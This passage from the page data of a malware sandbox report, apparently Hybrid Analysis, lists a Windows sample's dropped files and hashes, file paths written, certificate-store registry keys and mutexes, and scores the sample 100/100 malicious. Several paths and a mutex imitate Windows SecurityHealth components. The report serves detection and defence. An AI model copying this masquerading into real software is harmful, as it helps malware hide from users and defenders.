f8682dae24ccfa6089daf"}]},{"name":"payload_1_.exe","sha256":"b6ea3a3671c5e044d9f7b230c24ad2b41bcaa83565c3524af14fc84f2ffc66bd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"4HlSA5XHcf18","sha256":"07188599dc4a02842bdc7712194b08e926dc8ce82c3080575ca04ee3329ea360","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"MWpSnXKFdnm9","sha256":"993edfd641dabaf1b76adfca87b6e6a63b068db558ba51f1dbd9d6883af55a1d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"Ow6jbEfJz2MM","sha256":"90516e526c6e80030a35b1e9365996b733ab673e1df421802c3ba27d0a0f72a0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"WH7QwZsqrn38","sha256":"1da3dc6847c1990755bc940af3eed0d7fc6eca48297c9f8032fce8aeebf8c247","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"lVJToO1D4WuT","sha256":"d59a48548c3342e337333e57159266fee8596e79f39fea996bf53786af1aa8fb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"lnPr0cGx1XLI","sha256":"b967324b7ca0ee9c970617d3d051063206b3fdf4e9d362bc6d80ec47399246d7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"pKsL9stVbFR3","sha256":"d286c7aa59052c28a12e65c92aaf67b371b4006c9606c1bb9e1e2ec12db31813","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"StartupProfileData-NonInteractive","sha256":"a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"path":"%TEMP%\\b71e6b3b093b.exe","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"path":"%ALLUSERSPROFILE%\\lnPr0cGx1XLI","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"path":"%ALLUSERSPROFILE%\\pKsL9stVbFR3","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"path":"%ALLUSERSPROFILE%\\4HlSA5XHcf18","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"path":"%APPDATA%\\Microsoft\\SecurityHealth\\.beaconed","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"path":"%APPDATA%\\Microsoft\\Crypto","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"path":"%APPDATA%\\Microsoft\\Crypto\\certutil.dat","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"path":"%APPDATA%\\Microsoft\\SecurityHealth","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"path":"%APPDATA%\\Microsoft\\SecurityHealth\\rQxv6kD32KDt.exe","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"path":"%TEMP%\\WindowsSecurityHealthServiceMonitor.xml","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_vnii0ooy.bgf.ps1","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_ttbimblz.z41.psm1","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_qdfdfqja.y5s.ps1","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_pfy1nymk.ydc.psm1","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_v145e1jt.pob.ps1","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_dkvlsquj.toz.psm1","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5524:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5524:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5524:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"Local\\SM0:5524:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"SM0:5524:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"Local\\SM0:5524:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"SM0:5524:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"\\BaseNamedObjects\\SyncRootManager","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5524:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"\\BaseNamedObjects\\WinSecHealthMtx_7f3a","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6220:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"Local\\SM0:6220:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"SM0:6220:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"SM0:6220:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6220:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"\\BaseNamedObjects\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6220:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6860:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"SM0:6860:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"Local\\SM0:6860:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"SM0:6860:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6860:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6860:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7060:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"Local\\SM0:7060:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"SM0:7060:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7060:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4348:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"SM0:4348:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]}]}},"report_ids":{"sandbox_job_ids":["69df8682dae24ccfa6089daf"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Win/malicious_confidence_70% Sample d4d1f46ee0dc… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample d4d1f46ee0dc…. Malware family: Win/malicious_confidence_70%. Threat score 100/100. 1/27 AV engines flagged this file. 18 malicious and 24 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/d4d1f46ee0dcac7bb04ac3689a85c3e9afa4d21f0b96a1ba9ca1383476703ed3"}],["$","meta","4",{"property":"og:title","content":"Malicious Win/malicious_confidence_70% Sample d4d1f46ee0dc… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample d4d1f46ee0dc…. Malware family: Win/malicious_confidence_70%. Threat score 100/100. 1/27 AV engines flagged this file. 18 malicious and 24 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/d4d1f46ee0dcac7bb04ac3689a85c3e9afa4d21f0b96a1ba9ca1383476703ed3"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Win/malicious_confidence_70% Sample d4d1f46ee0dc… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample d4d1f46ee0dc…. Malware family: Win/malicious_confidence_70%. Threat score 100/100. 1/27 AV engines flagged this file. 18 malicious and 24 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L85","11",{}]]